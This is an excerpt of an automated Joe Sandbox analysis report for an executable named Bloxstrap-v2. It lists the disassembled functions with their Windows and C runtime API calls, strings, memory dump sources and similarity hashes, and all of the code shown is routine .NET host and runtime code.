_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6AA4F0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6AA6BC
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6AA771
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6AA7C7
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6AA7DB
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6AA7E1

Part of subcall function 00007FF72E6B3B08: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF72E6A1BFD), ref: 00007FF72E6B3B22

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6AA80D

Strings

,, xrefs: 00007FF72E6AA20F
., xrefs: 00007FF72E6A9A35
stoul argument out of range, xrefs: 00007FF72E6AA7F4
invalid stoul argument, xrefs: 00007FF72E6AA7E7

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task$_errnomallocwcstoul
String ID: ,$.$invalid stoul argument$stoul argument out of range
API String ID: 1031985940-164841169
Opcode ID: 2317848538b7e609d04ae24917b388d3715783dbf0bb03408e0e3b654c76b29b
Instruction ID: 7ec3ba5610a72ed47d28007ccfd0c2334a892d7b69c9bb66dd8a367cdb650ac9
Opcode Fuzzy Hash: 2317848538b7e609d04ae24917b388d3715783dbf0bb03408e0e3b654c76b29b
Instruction Fuzzy Hash: 0562B472F1864281EE10AB24E94437DA762FB457E4F94423ADAAD03BE5DF7DE481CB10

Function 00007FF72E6A6700 Relevance: 30.0, APIs: 13, Strings: 4, Instructions: 219
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SwitchToThread.KERNEL32 ref: 00007FF72E6A678B
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF72E6A67A4
GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6A67D3
GetLastError.KERNEL32 ref: 00007FF72E6A67EB
GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6A68D0
GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6A6901
GetLastError.KERNEL32 ref: 00007FF72E6A690B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A69B6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A6A2F

Strings

Unable to open COREHOST_TRACEFILE=%s for writing, xrefs: 00007FF72E6A69EA
COREHOST_TRACE_VERBOSITY, xrefs: 00007FF72E6A68C9, 00007FF72E6A68FA, 00007FF72E6A6927
Failed to read environment variable [%s], HRESULT: 0x%X, xrefs: 00007FF72E6A6812, 00007FF72E6A692E
COREHOST_TRACEFILE, xrefs: 00007FF72E6A67CC, 00007FF72E6A680B, 00007FF72E6A6840

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: EnvironmentVariable$ErrorLast_invalid_parameter_noinfo_noreturn$SwitchThread__acrt_iob_func
String ID: COREHOST_TRACEFILE$COREHOST_TRACE_VERBOSITY$Failed to read environment variable [%s], HRESULT: 0x%X$Unable to open COREHOST_TRACEFILE=%s for writing
API String ID: 3179431274-1641920025
Opcode ID: 8ddfa427b90514cc10c6c041c512b4ec4b63a9a4bee419e9ade7a732de53d876
Instruction ID: 1484afff3c212498761e724e19e13555c3c36848d147880a6797c80f4c01ee15
Opcode Fuzzy Hash: 8ddfa427b90514cc10c6c041c512b4ec4b63a9a4bee419e9ade7a732de53d876
Instruction Fuzzy Hash: B8917A21F1865284FB00AB65EC442BDB2A6FF447A8F84113DDE5D677A4DF3CE4858B60

Function 00007FF72E6AF4A0 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF72E6AF513
GetProcAddress.KERNEL32 ref: 00007FF72E6AF52C

Strings

win, xrefs: 00007FF72E6AF5B6
win8, xrefs: 00007FF72E6AF58B
win7, xrefs: 00007FF72E6AF59C
ntdll.dll, xrefs: 00007FF72E6AF50C
win81, xrefs: 00007FF72E6AF57A
RtlGetVersion, xrefs: 00007FF72E6AF522

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RtlGetVersion$ntdll.dll$win$win7$win8$win81
API String ID: 2574300362-238241336
Opcode ID: 636ba1d24b067bdd3668e8048b42147a881df04eb6af459378b4d1e57848a6c9
Instruction ID: f0e7eb5ed026ebdb6091c9cf0f715d42c605386bcea4c79b34f19abbed23bb85
Opcode Fuzzy Hash: 636ba1d24b067bdd3668e8048b42147a881df04eb6af459378b4d1e57848a6c9
Instruction Fuzzy Hash: 5551B172E1864285EA10AF5AEC543AAF3A2FB84790FC4513DD69D03BA5DF7DE400CB11

Function 00007FF72E6AFBA0 Relevance: 13.9, APIs: 9, Instructions: 406fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF72E6AFEB2
FindNextFileW.KERNEL32 ref: 00007FF72E6B00D8
FindClose.KERNEL32 ref: 00007FF72E6B00E9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B0129
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B0130
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B0137
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B018F
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6B01C5
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6B01CB

Part of subcall function 00007FF72E6B3B08: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF72E6A1BFD), ref: 00007FF72E6B3B22

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Find$Concurrency::cancel_current_taskFile$CloseFirstNextmalloc
String ID:
API String ID: 2417148112-0
Opcode ID: 46388eb63392ee44a63d11a61c59f36d9e374868ccd84f5fa59d09969d1f9e6c
Instruction ID: c3b4ee56f127a2a256b5f34092c9cc0bf012b294857d59c969edd484cd951701
Opcode Fuzzy Hash: 46388eb63392ee44a63d11a61c59f36d9e374868ccd84f5fa59d09969d1f9e6c
Instruction Fuzzy Hash: 18F1C622F1868184EE50AB65D9442B9F7A3FB547A4FD04239EAAD13BD4DF7CD481CB20

Function 00007FF72E6B4510 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF72E6B452C
RtlCaptureContext.KERNEL32 ref: 00007FF72E6B4559
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF72E6B4573
RtlVirtualUnwind.KERNEL32 ref: 00007FF72E6B45B4
IsDebuggerPresent.KERNEL32 ref: 00007FF72E6B4608
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF72E6B4629
UnhandledExceptionFilter.KERNEL32 ref: 00007FF72E6B4634

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: c5ee4f6fa97b61f3e48244cc758f674b77a564266ac6dda2fb20bb2e4aa09a6b
Instruction ID: 8d4b3068f7a9c71e596a4303b21a3f5cae909230253c47165430fef3c3c7193f
Opcode Fuzzy Hash: c5ee4f6fa97b61f3e48244cc758f674b77a564266ac6dda2fb20bb2e4aa09a6b
Instruction Fuzzy Hash: B0318372608B8185EB609F64E8443EEB365FB44748F84443DDA8E57B95EF3CC548CB20

Function 00007FF72E6B46B8 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ee2beeafeeeb014b99b13c0aac8fe648d489a242a84fa0ed9c499a08de298f9
Instruction ID: 9db3f45947e36b777f525b30c10d2b801a24976f3e0663f01021ee79eb2b01b5
Opcode Fuzzy Hash: 5ee2beeafeeeb014b99b13c0aac8fe648d489a242a84fa0ed9c499a08de298f9
Instruction Fuzzy Hash: BCA00221D4CC46D1EA84AF00FC58030A336FB60304FD0043DD18D615A0FF3DA450DB20

Function 00007FF72E6AE200 Relevance: 36.9, APIs: 11, Strings: 10, Instructions: 158
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6AE25D
GetLastError.KERNEL32 ref: 00007FF72E6AE269
GetCurrentProcess.KERNEL32 ref: 00007FF72E6AE29D
IsWow64Process.KERNEL32 ref: 00007FF72E6AE2AB
GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6AE30C
LoadLibraryExW.KERNEL32 ref: 00007FF72E6AE391
GetLastError.KERNEL32 ref: 00007FF72E6AE39C
GetProcAddress.KERNEL32 ref: 00007FF72E6AE3BC
GetCurrentProcess.KERNEL32 ref: 00007FF72E6AE3CA
GetLastError.KERNEL32 ref: 00007FF72E6AE3EA

Part of subcall function 00007FF72E6A7250: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A730B

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6AE456

Strings

Call to IsWow64Process2 failed: %u, xrefs: 00007FF72E6AE3F2
dotnet, xrefs: 00007FF72E6AE373
IsWow64Process2, xrefs: 00007FF72E6AE3B2
ProgramFiles, xrefs: 00007FF72E6AE2C3
_DOTNET_TEST_DEFAULT_INSTALL_PATH, xrefs: 00007FF72E6AE256, 00007FF72E6AE285, 00007FF72E6AE305
Failed to read environment variable [%s], HRESULT: 0x%X, xrefs: 00007FF72E6AE28C
ProgramFiles(x86), xrefs: 00007FF72E6AE2BA
Could not load 'kernel32.dll': %u, xrefs: 00007FF72E6AE3A4
kernel32.dll, xrefs: 00007FF72E6AE38A
x64, xrefs: 00007FF72E6AE40C

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: ErrorLastProcess$CurrentEnvironmentVariable_invalid_parameter_noinfo_noreturn$AddressLibraryLoadProcWow64
String ID: Call to IsWow64Process2 failed: %u$Could not load 'kernel32.dll': %u$Failed to read environment variable [%s], HRESULT: 0x%X$IsWow64Process2$ProgramFiles$ProgramFiles(x86)$_DOTNET_TEST_DEFAULT_INSTALL_PATH$dotnet$kernel32.dll$x64
API String ID: 2279001996-1892901996
Opcode ID: 6c670bd8fad4b8a21e6061e032e8a2be5721852ab25f14a6409ca703b8354292
Instruction ID: a1c011c502f9ad26f144729bf1e17892cba07a75f0c005300a847d0854e4875d
Opcode Fuzzy Hash: 6c670bd8fad4b8a21e6061e032e8a2be5721852ab25f14a6409ca703b8354292
Instruction Fuzzy Hash: E5617A21F18A0281FA10BB65EC542B9B3A7FF45B90FC4413DD99E567A5DF3CE4858B20

Function 00007FF72E6A6490 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6A64E7
GetLastError.KERNEL32 ref: 00007FF72E6A64F3
GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6A6556
_wtoi.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF72E6A6594
_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF72E6A65B1
_gmtime64_s.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF72E6A65D8
wcsftime.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF72E6A65F3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A6681
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A66C7

Strings

Tracing enabled @ %s, xrefs: 00007FF72E6A663C
COREHOST_TRACE, xrefs: 00007FF72E6A64E0, 00007FF72E6A6513, 00007FF72E6A654F
%c GMT, xrefs: 00007FF72E6A65E3
Failed to read environment variable [%s], HRESULT: 0x%X, xrefs: 00007FF72E6A651A

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: EnvironmentVariable_invalid_parameter_noinfo_noreturn$ErrorLast_gmtime64_s_time64_wtoiwcsftime
String ID: %c GMT$COREHOST_TRACE$Failed to read environment variable [%s], HRESULT: 0x%X$Tracing enabled @ %s
API String ID: 29591814-1875902258
Opcode ID: df72144add40db1154b8378e2a9fe0730748a5100595ccb5247ac50f3beaa7a9
Instruction ID: 5a65a9e087919224bbf7269c5e6409f3079dd5d045647c831a27f12ca8a90c95
Opcode Fuzzy Hash: df72144add40db1154b8378e2a9fe0730748a5100595ccb5247ac50f3beaa7a9
Instruction Fuzzy Hash: 98619671E18B4281EB10AB24EC443AEB362FB85794F94123DE69D537A8DF3DE485CB50

Function 00007FF72E6A1BC0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Getwctype.LIBCPMT ref: 00007FF72E6A1D91

Part of subcall function 00007FF72E6B3B08: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF72E6A1BFD), ref: 00007FF72E6B3B22

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF72E6A1C29
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF72E6A1C74
_Getctype.LIBCPMT ref: 00007FF72E6A1C8C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6A1CDD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6A1CF0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6A1D03
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6A1D16
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6A1D29
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6A1D3C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF72E6A1D4A

Strings

bad locale name, xrefs: 00007FF72E6A1D6D

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: free$std::_$Lockit$GetctypeGetwctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_malloc
String ID: bad locale name
API String ID: 3869375685-1405518554
Opcode ID: 5047c6b72f6660cdb31e9eb515608dc9e23be572debb5c409cf2fc0edd49ea7a
Instruction ID: b5ad78365770a8b7ff713da26e0c485a7522ae1477fa1fd475ccc51bf56520ff
Opcode Fuzzy Hash: 5047c6b72f6660cdb31e9eb515608dc9e23be572debb5c409cf2fc0edd49ea7a
Instruction Fuzzy Hash: 38516922F49B418AEB14EFB0D8402AC73B6FF54744F480139CE8D27A65DF38A4A6C720

Function 00007FF72E6AD780 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF72E6AD7B9

Part of subcall function 00007FF72E6B3490: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,00000000,00007FF72E6A1CA9), ref: 00007FF72E6B34B0
Part of subcall function 00007FF72E6B3490: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,00000000,00007FF72E6A1CA9), ref: 00007FF72E6B34BF
Part of subcall function 00007FF72E6B3490: __pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,00000000,00007FF72E6A1CA9), ref: 00007FF72E6B34DA

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6AD836
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6AD8B8
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6AD968
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6ADA7C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6ADA82
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6ADA88
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6ADAA2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6ADAAC

Strings

false, xrefs: 00007FF72E6AD85F
true, xrefs: 00007FF72E6AD91A

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: Concurrency::cancel_current_taskcalloc$free$___lc_codepage_func___lc_locale_name_func__pctype_funclocaleconv
String ID: false$true
API String ID: 2692559698-2658103896
Opcode ID: f970512eaa7024b0b7537fb77e7babe92732e54b570ce60ff5e4af92a63e7920
Instruction ID: 389239005a3aa49d2af0835975ed02db6c0d877b2e4cfff7ecd2f6f7b686a138
Opcode Fuzzy Hash: f970512eaa7024b0b7537fb77e7babe92732e54b570ce60ff5e4af92a63e7920
Instruction Fuzzy Hash: 86A1C322F19B4685EB10EF61D8442ADB3BAFB49798F850239DE4C67B58EF38D506C710

Function 00007FF72E6AA9A0 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 243
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF72E6AAA5E
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF72E6AAA86
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF72E6AAAB3
std::_Facet_Register.LIBCPMT ref: 00007FF72E6AAB29
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF72E6AAB4A

Strings

ios_base::eofbit set, xrefs: 00007FF72E6AAC84
ios_base::failbit set, xrefs: 00007FF72E6AAC7D
ios_base::badbit set, xrefs: 00007FF72E6AAC71

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 459529453-1866435925
Opcode ID: 38b77c1e6d155e30456c62c8ca64d7a3e590b730c7d6dde01db0b1404d5a9268
Instruction ID: 50495ea7a6ff25839274263a03c9347408b732c1426d9b3cb2b3d20189fea579
Opcode Fuzzy Hash: 38b77c1e6d155e30456c62c8ca64d7a3e590b730c7d6dde01db0b1404d5a9268
Instruction Fuzzy Hash: 41B17322A09A8582EB14EF15E8443B9F7A2FF84B94F84413ADE8D077A5DF3DD445CB20

Function 00007FF72E6AD460 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72E6B3B08: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF72E6A1BFD), ref: 00007FF72E6B3B22

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF72E6AD4CE
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF72E6AD516
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF72E6AD556
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF72E6AD569
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF72E6AD57C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF72E6AD58F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF72E6AD5A2
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF72E6AD5B5
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF72E6AD5C3

Strings

bad locale name, xrefs: 00007FF72E6AD5E6

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: free$std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_malloc
String ID: bad locale name
API String ID: 2125654041-1405518554
Opcode ID: f1ba77587d40b8fd2922c3e2a9bf2d39a9f95f73f4563b1ff9d5913d4cbf687c
Instruction ID: aa82237a33d0efcb6b42c513be23583c9a53f434a71ea7c0d78f27f9d3380a1d
Opcode Fuzzy Hash: f1ba77587d40b8fd2922c3e2a9bf2d39a9f95f73f4563b1ff9d5913d4cbf687c
Instruction Fuzzy Hash: E4413A32B4AA418AEB14EF70D8902BC73A5FF45708F88053CDE4D22A69CF39E516D764

Function 00007FF72E6AD600 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72E6B3B08: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF72E6A1BFD), ref: 00007FF72E6B3B22

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF72E6AD669
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF72E6AD6B4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6AD6DD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6AD6F0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6AD703
